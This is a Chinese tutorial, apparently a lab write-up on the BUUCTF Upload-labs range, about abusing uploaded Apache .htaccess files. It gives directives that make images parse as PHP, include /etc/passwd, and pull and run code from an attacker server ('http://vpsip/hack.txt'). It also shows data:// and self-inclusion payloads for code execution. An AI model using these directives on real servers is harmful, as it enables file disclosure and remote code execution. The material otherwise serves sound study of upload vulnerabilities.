一、利用背景

有时由于各种原因,我们无法上传php文件,又或者无法解析上传的php文件,这时如果能上传.htaccess文件,就能解决一些问题

这里就总结并且复现一下.htaccess文件的利用

二、原理

.htaccess文件是Apache服务器中的一个配置文件,他负责当前目录下的网页配置;通过.htaccess文件,可以实现网页301重定向、自定

义404错误页面、改变文件扩展名、允许/阻止特定的用户或目录的访问、禁止目录列表配置默认文档等功能

三、.htaccess文件利用

本地使用phpstudy未成功,于是使用了BUUCTF的Upload-labs靶场(就是麻烦一点)

1、用法一

文件解析

利用.htaccess文件指定自定义文件名的文件,将其当做PHP解析

<FilesMatch "siii0">
SetHandler application/x-httpd-php
</FilesMatch>

image-20220428154726447

AddType application/x-httpd-php .jpg
# 将 .jpg 当做 php解析

image-20220428154110446

image-20220428154141571

2、用法二

本地文件包含
通过 php_value 来设置 auto_prepend_file或者 auto_append_file 配置选项包含一些敏感文件,同时在本目录或子目录中需要有可解析的 php 文件来触发

#auto_prepend_file 在文件被解析前包含下列文件

php_value auto_prepend_file /etc/passwd
#auto_append_file 在文件解析后包含下列文件

php_value auto_append_file /etc/passwd

image-20220428161549079

image-20220428161609270

php文件中就被包含了本地文件

3、用法三

远程文件包含
PHP 的 all_url_include 配置选项这个选项默认是关闭的,如果开启的话就可以远程包含。因为 all_url_include 的配置范围为 PHP_INI_SYSTEM,所以无法利用 php_flag 在 .htaccess 中开启

php_value auto_append_file http://vpsip/hack.txt

image-20220429175116737

这时重新访问php文件,代码被包含了

image-20220429175928983

知识点:

​ 这些模式决定着一个 PHP 的指令在何时何地,是否能够被设定。手册中的每个指令都有其所属的模式。例如有些指令可以在 PHP 脚本中用 ini_set() 来设定,而有些则只能在 php.ini 或 httpd.conf 中

​ 例如 output_buffering 指令是属于 PHP_INI_PERDIR,因而就不能用 ini_set() 来设定。但是 display_errors 指令是属于 PHP_INI_ALL 因而就可以在任何地方被设定,包括 ini_set()

image-20220427214343887

4、用法四

源码泄露

利用 php_flag 将 engine 设置为 0,在本目录和子目录中关闭 php 解析,造成源码泄露

php_flag engine 0

image-20220428161100862

php无法被解析(我的后门也没了。。)

5、用法五

代码执行

(1)利用伪协议
all_url_fopen、all_url_include 为 On

(2)解析.htaccess

(1)
php_value auto_append_file data://text/plain;base64,PD9waHAgdmFyX2R1bXAoImhhY2tlciIpOw==
(2)
php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
(3)
php_value auto_append_file .htaccess
#<?php phpinfo();

(1)

image-20220428161905182

image-20220428161922532

(2) 和第一种是一样的,一定要注意url编码,否则就会报500

(3)

image-20220428160750698

image-20220428160815465

包含了.htaccess,其中的注释被php解析执行了